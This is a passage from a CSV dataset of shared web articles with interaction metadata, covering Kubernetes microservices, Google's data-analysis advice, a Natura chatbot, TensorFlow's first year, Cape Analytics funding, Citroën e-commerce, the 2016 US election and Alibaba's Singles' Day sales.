a custom e-commerce system backed by Microsoft SQL Server. The synchronization sub-service polls a custom XML feed several times each day, and indexes the data into an AWS RDS Postgres database. Logging Logging in Kubernetes is supported with several cluster add-ons, including: 1) elasticsearch , a distributed, open source search and analytics engine; 2) Fluentd , an open source log data collector; and, 3) Kibana , an open source log data visualization platform. We frequently ran out of space when storing elasticsearch data locally within the Kubernetes cluster, so we are moving that storage outside of the cluster To get the most our of logging, we standardized on Json-formatted log messages with a required minimum set of fields. We validated the log messages according to a Json schema that we created. Monitoring To monitor our Kubernetes cluster and provide alerts, we used the Prometheus toolkit. Unlike many monitoring tools, Prometheus operates using a pull model, so each service must implement a standard API endpoint that provides metrics. We implemented a small set of standard metrics for each sub-service. Each synchronization service provides a simple binary flag indicating whether synchronization is in progress. Each API sub-service provides a request time histogram. We use labels to identify request types for fine grain insight into response time. We analyze and visualize the metrics that Prometheus collects using Grafana . We augmented Prometheus metrics with exceptional events from our elasticsearch logs using Grafana annotations. During early development, this allowed us to count exceptions and to correlate exceptions with operational metrics, which helped us to find bugs quickly. For longer term analysis and visualization of exceptions, we used Airbrake , which has better support for seeing long term trends. Testing Prior to the availability of actual application traffic, we tested our services under artificial load using the open source Locust load testing tool. When used with Prometheus response time metrics that we visualized in Grafana, we were able to gain insights into the performance and behavior of our system. Once we had actual traffic hitting our production site, we were able to replay that live traffic into our staging cluster using Gor in order to continuously test our system with real data. Gateway To direct traffic to the individual microservices, we used the open source proxy Nginx . In front of our Nginx instance, we used the open-source API gateway and microservices management tool Kong to authorize and rate-limit API requests from third parties. Success! Overall the project was a major success. Within three months with five developers and one DevOps person we had a proof of concept up and running. Two months later, we had support for orchestration with Kubernetes. Our developers were able to create a new simple service and deploy it to any of three Kubernetes clusters (QA, staging, and production) in under two hours without any assistance or support from DevOps. More importantly, our client was able to realize tangible and quantifiable benefits. First, the point of interest web pages were reimplemented to use the new microservices. Now, 100% of traffic is being directed to the new Kubernetes production cluster, using Kubernetes auto-scaling for elasticity and efficiency. Development was fast due to the design-first approach and the employ of mock servers. Second, for the first time in company history, the company is able to offer third parties access to an API to the custom content. This will offer new revenue streams. Third, applications are being ported from the old AWS EC2/CloudFormation/Chef based infrastructure. This will lower the operating cost since Kubernetes will provide greater EC2 instance utilization. On the down side, as mentioned in What I Wish I Had Known Before Scaling Uber to 1000 Services , there are real costs to supporting multiple language environments. First, expertise in each environment must be acquired. This splits teams into camps, and slowed code review and bug fixing. Second, deficiencies in dependencies needed to be fixed in each language environment. This occurred quite frequently, and slowed adoption of new monitoring and tracing tools. We will migrate away from Ruby and one of the other languages. Conclusions Unlocking the value of content takes more than simply bolting on a Json API to an existing application or web service. It requires a well considered data model, a clean API, and a scalable infrastructure. But with containerization, cloud compute and storage services, open source tools, and a solid architecture and engineering team, you can indeed unlock that value.",en
1478786362,CONTENT SHARED,8836508987743809103,-1443636648652872475,2405032679063815338,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,http://www.unofficialgoogledatascience.com/2016/10/practical-advice-for-analysis-of-large.html,"Practical advice for analysis of large, complex data sets","By PATRICK RILEY For a number of years, I led the data science team for Google Search logs. We were often asked to make sense of confusing results, measure new phenomena from logged behavior, validate analyses done by others, and interpret metrics of user behavior. Some people seemed to be naturally good at doing this kind of high quality data analysis. These engineers and analysts were often described as ""careful"" and ""methodical"". But what do those adjectives actually mean? What actions earn you these labels? To answer those questions, I put together a document shared Google-wide which I optimistically and simply titled ""Good Data Analysis."" To my surprise, this document has been read more than anything else I've done at Google over the last eleven years. Even four years after the last major update, I find that there are multiple Googlers with the document open any time I check. Why has this document resonated with so many people over time? I think the main reason is that it's full of specific actions to take, not just abstract ideals. I've seen many engineers and analysts pick up these habits and do high quality work with them. I'd like to share the contents of that document in this blog post. The advice is organized into three general areas: Technical : Ideas and techniques for how to manipulate and examine your data. Process : Recommendations on how you approach your data, what questions to ask, and what things to check. Social : How to work with others and communicate about your data and insights. Technical Look at your distributions While we typically use summary metrics (means, median, standard deviation, etc.) to communicate about distributions, you should usually be looking at a much richer representation of the distribution. Something like histograms, CDFs, Q-Q plots, etc. will allow you to see if there are important interesting features of the data such as multi-modal behavior or a significant class of outliers that you need to decide how to summarize. Consider the outliers You should look at the outliers in your data. They can be canaries in the coal mine for more fundamental problems with your analysis. It's fine to exclude them from your data or to lump them together into an ""Unusual"" category, but you should make sure you know why data ended up in that category. For example, looking at the queries with the lowest click-through rate (CTR) may reveal clicks on elements in the user interface that you are failing to count. Looking at queries with the highest CTR may reveal clicks you should not be counting. On the other hand, some outliers you will never be able to explain so you need to be careful in how much time you devote this. Report noise/confidence First and foremost, we must be aware that randomness exists and will fool us. If you aren't careful, you will find patterns in the noise. Every estimator that you produce should have a notion of your confidence in this estimate attached to it. Sometimes this will be more formal and precise (through techniques such as confidence intervals or credible intervals for estimators, and p-values or Bayes factors for conclusions) and other times you will be more loose. For example if a colleague asks you how many queries about frogs we get on Mondays, you might do a quick analysis looking and a couple of Mondays and report ""usually something between 10 and 12 million"" (not real numbers). Look at examples Anytime you are producing new analysis code, you need to look at examples of the underlying data and how your code is interpreting those examples. It's nearly impossible to produce working analysis code of any complexity without this. Your analysis is removing lots of features from the underlying data to produce useful summaries. By looking at the full complexity of individual examples, you can gain confidence that your summarization is reasonable. You should be doing stratified sampling to look at a good sample across the distribution of values so you are not too focussed on the most common cases. For example, if you are computing Time to Click, make sure you look at examples throughout your distribution, especially the extremes. If you don't have the right tools/visualization to look at your data, you need to work on those first. Slice your data Slicing means to separate your data into subgroups and look at the values of your metrics in those subgroups separately. In analysis of web traffic, we commonly slice along dimensions like mobile vs. desktop, browser, locale, etc. If the underlying phenomenon is likely to work differently across subgroups, you must slice the data to see if it is. Even if you do not expect a slice to matter, looking at a few slices for internal consistency gives you greater confidence that you are measuring the right thing. In some cases, a particular slice may have bad data, a broken experience, or in some way be fundamentally different. Anytime you are slicing your data to compare two groups (like experiment/control, but even time A vs. time B comparisons), you need to be aware of mix shifts. A mix shift is when the amount of data in a slice is different across the groups you are comparing. Simpson's paradox and other confusions can result. Generally, if the relative amount of data in a slice is the same across your two groups, you can safely make a comparison. Consider practical significance With a large volume of data, it can be tempting to focus solely on statistical significance or to hone in on the details of every bit of data. But you need to ask yourself, ""Even if it is true that value X is 0.1% more than value Y, does it matter?"" This can be especially important if you are unable to understand/categorize part of your data. If you are unable to make sense of some user agents strings in our logs, whether it's 0.1% of 10% makes a big difference in how much you should investigate those cases. On the flip side, you sometimes have a small volume of data. Many changes will not look statistically significant but that is different than claiming it is ""neutral"". You must ask yourself ""How likely is it that there is still a practically significant change""? Check for consistency over time One particular slicing you should almost always employ is to slice by units of time (we often use days, but other units may be useful also). This is because many disturbances to underlying data happen as our systems evolve over time. Typically the initial version of a feature or the initial data collection will be checked carefully, but it is not uncommon for something to break along the way. Just because a particular day or set of days is an outlier does not mean you should discard it. Use the data as a hook to find a causal reason for that day being different before you discard it. The other benefit of looking at day over day data is it gives you a sense of the variation in the data that would eventually lead to confidence intervals or claims of statistical significance. This should not generally replace rigorous confidence interval calculation, but often with large changes you can see they will be statistically significant just from the day-over-day graphs. Process Separate Validation, Description, and Evaluation I think about about exploratory data analysis as having 3 interrelated stages: Validation or Initial Data Analysis : Do I believe data is self-consistent, that the data was collected correctly, and that data represents what I think it does? This often goes under the name of ""sanity checking"". For example, if manual testing of a feature was done, can I look at the logs of that manual testing? For a feature launched on mobile devices, do my logs claim the feature exists on desktops? Description : What's the objective interpretation of this data? For example, ""Users do fewer queries with 7 words in them?"", ""The time page load to click (given there was a click) is larger by 1%"", and ""A smaller percentage of users go to the next page of results."" Evaluation : Given the description, does the data tell us that something good is happening for the user, for Google, for the world? For example, ""Users find results faster"" or ""The quality of the clicks is higher."" By separating these phases, you can more easily reach agreement with others. Description should be things that everyone can agree on from the data. Evaluation is likely to have much more debate because you imbuing meaning and value to the data. If you do not separate Description and Evaluation, you are much more likely to only see the interpretation of the data that you are hoping to see. Further, Evaluation tends to be much harder because establishing the normative value of a metric, typically through rigorous comparisons with other features and metrics, takes significant investment. These stages do not progress linearly. As you explore the data, you may jump back and forth between the stages, but at any time you should be clear what stage you are in. Confirm expt/data collection setup Before looking at any data, make sure you understand the experiment and data collection setup. Communicating precisely between the experimentalist and the analyst is a big challenge. If you can look at experiment protocols or configurations directly, you should do it. Otherwise, write down your own understanding of the setup and make sure the people responsible for generating the data agree that it's correct. You may spot unusual or bad configurations or population restrictions (such as valid data only for a particular browser). Anything notable here may help you build and verify theories later. Some things to consider: If it's a features of a product, try it out yourself. If you can't, at least look through screenshots/descriptions of behavior. Look for anything unusual about the time range the experiment ran over (holidays, big launches, etc.) Check vital signs Before actually answering the question you are interested in (e.g. ""Did users use my awesome new feature?"") you need to check for a lot of other things that may not be related to what you are interested in but may be useful in later analysis or indicate problems in the data. Did the number of users change? Did the right number of affected queries show up in all my subgroups? Did error rates changes? Just as your doctor always checks your height, weight, and blood pressure when you go on, check your data vital signs to potential catch big problems. This is one important part of the ""Validation"" stage. Standard first, custom second This is a variant of checking for what shouldn't change. Especially when looking at new features and new data, it's tempting to jump right into the metrics that are novel or special for this new feature. But you should always look at standard metrics first, even if you expect them to change. For example, when adding a brand new UI feature to the search page, you should make sure you understand the impact on standard metrics like clicks on results before diving into the special metrics about this new UI feature. You do this because standard metrics are much better validated and more likely to be correct. If your new, custom metrics don't make sense with your standard metrics, your new, custom metrics are likely wrong. Measure twice, or more Especially if you are trying to capture a new phenomenon, try to measure the same underlying thing in multiple ways. Then, check to see if these multiple measurements are consistent. By using multiple measurements, you can identify bugs in measurement or logging code, unexpected features of the underlying data, or filtering steps that are important. It's even better if you can use different data sources for the measurements. Check for reproducibility Both slicing and consistency over time are particular examples of checking for reproducibility. If a phenomenon is important and meaningful, you should see it across different user populations and time. But reproducibility means more than this as well. If you are building models of the data, you want those models to be stable across small perturbations in the underlying data. Using different time ranges or random sub-samples of your data will tell you how reliable/reproducible this model is. If it is not reproducible, you are probably not capturing something fundamental about the underlying process that produced this data. Check for consistency with past measurements Often you will be calculating a metric that is similar to things that have been counted in the past. You should compare your metrics to metrics reported in the past, even if these measurements are on different user populations. For example, if you are looking at measuring search volume on a special population and you measure a much larger number than the commonly accepted number, then you need to investigate. Your number may be right on this population, but now you have to do more work to validate this. Are you measuring the same thing? Is there a rational reason to believe these populations are different? You do not need to get exact agreement, but you should be in the same ballpark. If you are not, assume that you are wrong until you can fully convince yourself. Most surprising data will turn out to be a error, not a fabulous new insight. New metrics should be applied to old data/features first If you gather completely new data and try to learn something new, you won't know if you got it right. When you gather a new kind of data, you should first apply this data to a known feature or data. For example, if you have a new metric for user satisfaction, you should make sure it tells you your best features help satisfaction. Doing this provides validation for when you then go to learn something new. Make hypotheses and look for evidence Typically, exploratory data analysis for a complex problem is iterative. You will discover anomalies, trends, or other features of the data. Naturally, you will make hypotheses to explain this data. It's essential that you don't just make a hypothesis and proclaim it to be true. Look for evidence (inside or outside the data) to confirm/deny this theory. For example, If you believe an anomaly is due to the launch of some other feature or a holiday in Katmandu, make sure that the population the feature launched to is the only one affected by the anomaly. Alternatively, make sure that the magnitude of the change is consistent with the expectations of the launch. Good data analysis will have a story to tell. To make sure it's the right story, you need to tell the story to yourself, predict what else you should see in the data if that hypothesis is true, then look for evidence that it's wrong. One way of doing this is to ask yourself, ""What experiments would I run that would validate/invalidate the story I am telling?"" Even if you don't/can't do these experiments, it may give you ideas on how to validate with the data that you do have. The good news is that these hypotheses and possible experiments may lead to new lines of inquiry that transcend trying to learn about any particular feature or data. You then enter the realm of understanding not just this data, but deriving new metrics and techniques for all kinds of future analyses. Exploratory analysis benefits from end to end iteration When doing exploratory analysis, you should strive to get as many iterations of the whole analysis as possible. Typically you will have multiple steps of signal gathering, processing, modelling, etc. If you spend too long to get the very first stage of your initial signals perfect you are missing out on opportunities to get more iterations in the same amount of time. Further, when you finally look at your data at the end, you may make discoveries that change your direction. Therefore, your initial focus should not be on perfection but on getting something reasonable all the way through. Leave notes for yourself and acknowledge things like filtering steps and data records that you can't parse/understand, but trying to get rid of all of them is a waste of time at the beginning of exploratory analysis. Data analysis starts with questions, not data or a technique There's always a reason that you are doing some analysis. If you take the time to formulate your needs as questions or hypotheses, it will go a long way towards making sure that you are gathering the data you should be gathering and that you are thinking about the possible gaps in the data. Of course, the questions you ask can and should evolve as you look at the data. But analysis without a question will end up aimless. Further, you have to avoid the trap of finding some favorite technique and then only finding the parts of problems that this technique works on. Again, making sure you are clear what the questions are will help you avoid this. Acknowledge and count your filtering Almost every large data analysis starts by filtering the data in various stages. Maybe you want to consider only US users, or web searches, or searches with a result click. Whatever the case, you must Acknowledge and clearly specify what filtering you are doing Count how much is being filtered at each of your steps Often the best way to do the latter is to actually compute all your metrics even for the population you are excluding. Then you can look at that data to answer questions like ""What fraction of queries did my filtering remove?"" Further, looking at examples of what is filtered is also essential for filtering steps that are novel for your analysis. It's easy to accidentally include some ""good"" data when you make a simple rule of data to exclude. Ratios should have clear numerator and denominators Many interesting metrics are ratios of underlying measures. Unfortunately, there is often ambiguity of what your ratio is. For example, if I say click-through rate of a site on search results, is it: ""# clicks on site' / '# results for that site' '# search result pages with clicks to that site' / '# search result pages with that site shown' When you communicate results, you must be clear about this. Otherwise your audience (and you!) will have trouble comparing to past results and interpreting a metric correctly. Educate your consumers You will often be presenting your analysis and results to people who are not data experts. Part of your job is to educate them on how to interpret and draw conclusions from your data. This runs the gamut from making sure they understand confidence intervals to why certain measurements are unreliable in your domain to what typical effect sizes are for ""good"" and ""bad"" changes to understanding population bias effects. This is especially important when your data has a high risk of being misinterpreted or selectively cited. You are responsible for providing the context and a full picture of the data and not just the number a consumer asked for. Be both skeptic and champion As you work with data, you must be both the champion of the insights you are gaining as well as a skeptic. You will hopefully find some interesting phenomena in the data you look at. When you have an interesting phenomenon you should ask both ""What other data could I gather to show how awesome this is?"" and ""What could I find that would invalidate this?"". Especially in cases where you are doing analysis for someone who really wants a particular answer (e.g. ""My feature is awesome"") you are going to have to play the skeptic to avoid making errors. Share with peers first, external consumers second A skilled peer reviewer can provide qualitatively different feedback and sanity-checking than the consumers of your data can, especially since consumers generally have an outcome they want to get. Ideally, you will have a peer that knows something about the data you are looking at, but even a peer with just experience looking at data in general is extremely valuable. The previous points suggested some ways to get yourself to do the right kinds of sanity checking and validation. But sharing with a peer is one of the best ways to force yourself to do all these things. Peers are useful at multiple points through the analysis. Early on you can find out about gotchas your peer knows about, suggestions for things to measure, and past research in this area. Near the end, peers are very good at pointing out oddities, inconsistencies, or other confusions. Expect and accept ignorance and mistakes There are many limits to what we can learn from data. Nate Silver makes a strong case in The Signal and the Noise that only by admitting the limits of our certainty can we make advances in better prediction. Admitting ignorance is a strength but it is not usually immediately rewarded. It feels bad at the time, but will ultimately earn you respect with colleagues and leaders who are data-wise. It feels even worse when you make a mistake and discover it later (or even too late!), but proactively owning up to your mistakes will translate into credibility. Credibility is the key social value for any data scientist. Closing thoughts No short list of advice can be complete even when we break through the barrier of the Top 10 List format (for those of you who weren't counting, there are 24 here). As you apply these ideas to real problems, you'll find the habits and techniques that are most important in your domain, the tools that help you do those analyses quickly and correctly, and the advice you wish were on this list. Make sure you share what you've learned so we can all be better data scientists. I'd like to thank everyone who provided insight that went into this document, but especially Diane Tang, Rehan Khan, Elizabeth Tucker, Amir Najmi, Hilary Hutchinson, Joel Darnauer, Dale Neal, and Aner Ben-Artzi.",en
1478790716,CONTENT SHARED,-1425776303341065806,3609194402293569455,1020328625857133308,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2016/11/natura-inova-e-cria-bot-para-auxiliar-consumidores-a-escolherem-presentes-de-natal/,Natura inova e cria bot para auxiliar consumidores a escolherem presentes de natal - Startupi,"A Natura inaugura uma nova fronteira no atendimento ao cliente no Facebook por meio do Messenger, o aplicativo de mensagens instantâneas da plataforma digital. A empresa é uma das primeiras do setor de cosméticos a criar um ' bot ', aplicação de inteligência artificial que opera em aplicativos de mensagens para automatizar respostas, que irá auxiliar os consumidores a escolher o presente de Natal ideal para cada tipo de pessoa. Com a ajuda do 'bot', os clientes podem fazer escolhas mais adequadas ao responder a perguntas por meio de texto sobre, por exemplo, o estilo de vida da pessoa que vai ganhar o presente. Para acionar o bot, basta entrar na página da Natura no Facebook e mandar uma mensagem para a marca utilizando o Messenger. Depois, clicar em ""começar"" e em ""assistente de presentes"". ""Presentear nos aproxima ainda mais das pessoas queridas. É um momento em que nos dedicamos a esse relacionamento, ao fazer escolhas que correspondam às características de cada uma delas"", diz João Paulo Ferreira, presidente da Natura. ""Mas nem sempre é fácil acertar no presente. O 'bot' no Facebook simplifica e torna essa tarefa ainda mais agradável, oferecendo soluções surpreendentes para o consumidor"". O Facebook lançou os 'bots' para o Messenger em abril de 2016, durante a F8, a conferência para desenvolvedores, e já existem mais de 30 mil bots ativos no mundo. ""O Messenger do Facebook tem mais de 1 bilhão de pessoas ativas no mundo todo, o que representa um potencial de negócio incrível para as empresas"", afirma Marcos Angelini, diretor-geral do Facebook no Brasil. ""Nossas tecnologias aproximam as pessoas no Brasil inteiro, permitindo que elas se conectem e compartilhem o que mais importa para eles. Estamos felizes com esta parceria com a Natura, que vai usar nossa plataforma para revolucionar a interação com seus clientes"", completa o executivo. Para implementar o 'bot' na página da Natura, a empresa contou com a parceria das agências Salve e Insight, que foram as responsáveis pelo desenvolvimento da ferramenta. Além da assistência na escolha dos presentes, o 'bot' também está preparado para responder a diversas perguntas sobre a empresa e seus produtos.",pt
1478800470,CONTENT SHARED,-8353590933060505654,-1443636648652872475,2405032679063815338,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,https://research.googleblog.com/2016/11/celebrating-tensorflows-first-year.html,Celebrating TensorFlow's First Year,"(Cross-posted on the Google Open Source Blog & Google Developers Blog ) It has been an eventful year since the Google Brain Team open-sourced TensorFlow to accelerate machine learning research and make technology work better for everyone . There has been an amazing amount of activity around the project: more than 480 people have contributed directly to TensorFlow , including Googlers, external researchers, independent programmers, students, and senior developers at other large companies. TensorFlow is now the most popular machine learning project on GitHub. With more than 10,000 commits in just twelve months, we've made numerous performance improvements , added support for distributed training , brought TensorFlow to iOS and Raspberry Pi , and integrated TensorFlow with widely-used big data infrastructure . We've also made TensorFlow accessible from Go , Rust and Haskell , released state-of-the-art image classification models , and answered thousands of questions on GitHub , StackOverflow and the TensorFlow mailing list along the way. At Google, TensorFlow supports everything from large-scale product features to exploratory research. We recently launched major improvements to Google Translate using TensorFlow (and Tensor Processing Units , which are special hardware accelerators for TensorFlow). Project Magenta is working on new reinforcement learning-based models that can produce melodies , and a visiting PhD student recently worked with the Google Brain team to build a TensorFlow model that can automatically interpolate between artistic styles . DeepMind has also decided to use TensorFlow to power all of their research - for example, they recently produced fascinating generative models of speech and music based on raw audio. We're especially excited to see how people all over the world are using TensorFlow. For example: Australian marine biologists are using TensorFlow to find sea cows in tens of thousands of hi-res photos to better understand their populations, which are under threat of extinction. An enterprising Japanese cucumber farmer trained a model with TensorFlow to sort cucumbers by size, shape, and other characteristics. Radiologists have adapted TensorFlow to identify signs of Parkinson's disease in medical scans. Data scientists in the Bay Area have rigged up TensorFlow and the Raspberry Pi to keep track of the Caltrain . We're committed to making sure TensorFlow scales all the way from research to production and from the tiniest Raspberry Pi all the way up to server farms filled with GPUs or TPUs. But TensorFlow is more than a single open-source project - we're doing our best to foster an open-source ecosystem of related software and machine learning models around it: The TensorFlow Serving project simplifies the process of serving TensorFlow models in production. TensorFlow "" Wide and Deep "" models combine the strengths of traditional linear models and modern deep neural networks. For those who are interested in working with TensorFlow in the cloud, Google Cloud Platform recently launched Cloud Machine Learning , which offers TensorFlow as a managed service. Furthermore, TensorFlow's repository of models continues to grow with contributions from the community, with more than 3000 TensorFlow-related repositories listed on GitHub alone! To participate in the TensorFlow community, you can follow our new Twitter account ( @tensorflow ), find us on GitHub , ask and answer questions on StackOverflow , and join the community discussion list . Thanks very much to all of you who have already adopted TensorFlow in your cutting-edge products, your ambitious research, your fast-growing startups, and your school projects; special thanks to everyone who has contributed directly to the codebase. In collaboration with the global machine learning community, we look forward to making TensorFlow even better in the years to come!",en
1478800943,CONTENT SHARED,-4451918963121780798,-1443636648652872475,2405032679063815338,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,http://venturebeat.com/2016/11/10/cape-analytics-raises-14-million-to-use-computer-vision-for-better-insurance-quotes/,Cape Analytics raises $14 million to use computer vision for better insurance quotes,"Cape Analytics has raised $14 million to use computer vision and machine learning to improve automated property underwriting for insurance companies. Formation 8 led the round, with participation from XL Innovate, Data Collective, Lux Capital, Khosla Ventures, Promus Ventures, and Montage Ventures. The funding is one more application of machine learning and computer vision for business automation. Palo Alto, Calif.-based Cape Analytics starts with images of a home to help assess the home's value to allow an insurance carrier to deliver more accurate and fast quotes. The funding will allow Cape Analytics to expand its world-class engineering and sales teams as it brings its proprietary data to more regions and customers around the United States. As part of this financing, Formation 8's Shirish Sathaye has joined the company's board of directors. Insurers want to provide quick, accurate, and hassle-free quotes to customers but, traditionally, quotes have been based on incomplete or unreliable information from public records, or on slow and expensive in-person reports from property inspectors. In response, Cape Analytics has developed a cloud-based platform that provides near inspection-quality data on high-value property features - instantaneously and at scale - for entire property portfolios. The company pulls down geo-imagery from partners (outdoor, satellite photos), brings the imagery onto its internal platform (which is sort of like Google Earth), and then runs the images through its proprietary computer vision and AI deep learning algorithms that ""understand"" the image and extract structured data. That data can be anything related to property condition or attributes: like square footage of a home's footprint, roof condition, roof type, roof material, skylights, solar panels, and other details. This is all info that helps insurers provide a more accurate quote for your home. Cape Analytics' CEO and cofounder, Ryan Kottenstette, was previously an investor with Khosla Ventures. Kottenstette has incubated several technology companies that apply computer vision and artificial intelligence to industries ranging from shipping logistics to agriculture to healthcare. Chief technology officer and cofounder, Suat Gedikli, is an expert in image processing, 3D processing, probabilistic state estimation, and machine learning. ""We are honored to partner with such distinguished investors to grow our engineering and sales teams as we add features and scale our platform to offer nationwide coverage,"" said Kottenstette, in a statement. Cape Analytics was founded in 2014 and it has 20 employees. Get more stories like this on Twitter & Facebook",en
1478801185,CONTENT SHARED,4667058261084775379,-1352064057049251194,6729957889192962170,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.87 Safari/537.36",SP,BR,HTML,http://exame.abril.com.br/negocios/citroen-lanca-e-commerce-de-carros/,Citroën lança e-commerce de carros,"São Paulo - A partir de hoje, é possível comprar um carro da Citroën pela internet, com apenas quatro cliques. A montadora lançou, no Salão do Automóvel de São Paulo, o St@rt, primeiro comércio eletrônico da companhia no mundo. Inicialmente, os modelos C3 e Aircross estarão disponíveis para venda pelo site, a partir de R$ 43.990 e R$ 53.690, respectivamente. O consumidor poderá escolher a cor, a forma de pagamento e extras, como seguro e manutenção, pelo computador. Segundo Paulo Souti, presidente da empresa no Brasil, a projeção é que as vendas pela internet desses dois modelos atinjam de 6% a 7% do total. Para ele, essa nova opção de compra não corta totalmente as relações do consumidor com uma concessionária. ""O processo de aquisição de um novo carro não acontece de uma hora para outra, passa por um amadurecimento"", disse. O cliente irá tirar suas dúvidas na rede de lojas e fazer o test drive e pode finalizar a compra pela internet, no site St@rt. Ao fim, a concessionária irá entregar o carro e fazer o pós-venda. De acordo com o presidente, a ideia foi criada ao analisar as tendências de compras dos brasileiros. Cerca de 63% compram online e 85% das compras de um carro novo começam com uma pesquisa na internet. ""Percebemos que havia uma tendência e poderíamos atingir milhões de potenciais consumidores"", afirmou ele. Uma equipe de cinco pessoas passou um semestre desenvolvendo o comércio eletrônico, que é inédito para a Citroën em todo o mundo. Crescimento acelerado A Citroën tem um plano agressivo de aumentar as vendas em 30% até 2021. Segundo Linda Jackson, CEO mundial da montadora, a marca precisa acelerar a sua transformação, para se tornar mais perto dos seus consumidores. O plano também se aplica ao mercado brasileiro, afirmou Souti. Para conseguir atingir esse número, a montadora irá lançar um novo carro a cada ano até 2021, disse ele.",pt
1478829489,CONTENT SHARED,8926283897590637985,3061273947166110301,-6590473067430396464,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,http://fivethirtyeight.com/features/what-a-difference-2-percentage-points-makes/,What A Difference 2 Percentage Points Makes,"Here's the Electoral College map we're going to end up with, assuming that every uncalled state goes to the candidate leading in the vote count there as of 4 p.m. Eastern time on Wednesday. There's a sea of red for President-elect Donald Trump . He earned 306 electoral votes and became the first Republican since 1988 to win Michigan, Wisconsin or Pennsylvania. More Politics Just think about all the implications of this: The Democrats' supposed ""blue wall"" - always a dubious proposition - has crumbled. Indeed, with Hillary Clinton's defeat, Democrats may have to rebuild their party from the ground up. But the Republican Party is also forever changed . The GOP has learned that there's a bigger market for populism, and a far smaller one for movement conservatism , than many of us imagined. The Party of Reagan has been supplanted by the Party of Trump. The divide between cultural ""elites"" in urban coastal cities and the rest of the country is greater than ever. Clinton improved on President Obama's performance in portions of the country, such as California, Atlanta and the island of Manhattan. But whereas Obama won Iowa by 10 percentage points in 2008, Clinton lost it by 10 points. America hasn't put its demons - including racism, anti-Semitism and misogyny - behind it. White people still make up the vast majority of the electorate, particularly when considering their share of the Electoral College , and their votes usually determine the winner. One fact that doesn't fit very well into this narrative is that Clinton leads in the popular vote count. She should eventually win the popular vote by 1 to 2 percentage points , and perhaps somewhere on the order of 1.5 million to 2 million votes, once remaining mail-in ballots from California and Washington are counted, along with provisional ballots in other states. But ignore that for now - elections, after all, are contested in the Electoral College. (Hence the name of this website.) So here's another question. What would have happened if just 1 out of every 100 voters shifted from Trump to Clinton? That would have produced a net shift of 2 percentage points in Clinton's direction. And instead of the map you see above, we'd have wound up with this result in the Electoral College instead: Michigan, Wisconsin, Pennsylvania and Florida flip back to Clinton, giving her a total of 307 electoral votes. And she'd have won the popular vote by 3 to 4 percentage points, right where the final national polls had the race and in line with Obama's margin of victory in 2012. If this had happened, the interpretation of the outcome would have been very different - something like this, I'd imagine: Republicans simply can't appeal to enough voters to have a credible chance at the Electoral College. While states like Ohio and Iowa might be slipping away from Democrats, they'll be more than made up for by the shift of Arizona, North Carolina and Florida into the blue column as demographic changes take hold. Democrats are the coalition of the ascendant. The United States was more than ready for the first woman president. And they elected her immediately after the first African-American president. With further victories for liberals over the past several years on issues ranging from gay rights to the minimum wage, the arc of progress is unmistakable. American political institutions are fairly robust. When a candidate like Trump undermines political norms and violates standards of decency, he's punished by the voters. In light of Trump's narrow victory, these arguments sound extremely unconvincing. But they're exactly what we would have been hearing if just 1 out of 100 voters had switched from Trump to Clinton. So consider that there might be at least partial truth in some of these points. Likewise, if Clinton had just that small, additional fraction of the vote, people would be smugly dismissing the arguments in the first set of bullet points - even though they, too, would have been just 2 percentage points away from seeming incredibly prescient. Interpretation of the polling would also have been very different. If Clinton had done just 2 points better, pollsters would have called the popular-vote margin almost on the nose and correctly identified the winner in all states but North Carolina. We'll have more to say about the polling in the coming days. But to a first approximation, people are probably giving the polls a little bit too much blame. National polls will eventually miss the popular vote by about 2 percentage points, which is right in line with the historical average (and, actually, a bit better than national polls did in 2012 ). State polls had considerably more problems, underestimating Clinton's complete collapse of support among white voters without college degrees but also underestimating her support in states that have large Hispanic populations, such as New Mexico. Given how challenging it is to conduct polls nowadays , however, people shouldn't have been expecting pinpoint accuracy. The question is how robust Clinton's lead was to even a small polling error. Our finding, consistently, was that it was not very robust because of the challenges Clinton faced in the Electoral College, especially in the Midwest , and therefore our model gave a much better chance to Trump than other forecasts did. But that's not very important. What's important is that Trump was elected president. Just remember that the same country that elected Donald J. Trump is the one that elected Barack Hussein Obama four years ago. In a winner-take-all system, 2 percentage points can make all the difference in the world.",en
1478888645,CONTENT SHARED,3056097063387494549,-1352064057049251194,7039244043001570651,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,https://corporate.canaltech.com.br/noticia/e-commerce/alibaba-quebra-recorde-de-vendas-no-dia-dos-solteiros-83953/,Alibaba quebra recorde de vendas no Dia dos Solteiros - e-commerce,"Por Redação | em No dia 11 de novembro - pelo fato do número 1 representar uma pessoa sozinha (11/11) - os chineses comemoram o Dia dos Solteiros. No entanto, recentemente o que era apenas um festival de entretenimento se tornou uma das datas mais lucrativas do e-commerce chinês. Neste ano, o dia nem terminou e a gigante Alibaba já anunciou que quebrou um novo recorde de vendas. A companhia, que é dona do famoso site Aliexpress, já ultrapassou a marca de US$ 14,3 bilhões em vendas realizadas no evento do ano passado. Para efeito de comparação, a Cyber Monday dos Estados Unidos US$ 2,68 bilhões em 2015. Já a Black Friday norte-americana fez com que as pessoas gastassem US$ 4,45 bilhões no período. A comoção com as compras no Dia dos Solteiros na China é tão grande que, apenas nos primeiros 52 segundos do dia, o Alibaba arrecadou um valor aproximado a US$ 146 milhões (1 bilhão de yuans)este ano. Em sete minutos após a abertura das vendas, foram vendidos US$ 1,46 bilhão (10 bilhões de yuans). Uma curiosidade é que a maior parte das vendas (84%) feitas pelo Alibaba nesta sexta-feira aconteceram por meio de dispositivos móveis, e não computadores. O gigante do e-commerce afirma ter 400 milhões de usuários registrados no Alipay, seu serviço próprio de pagamento.",pt
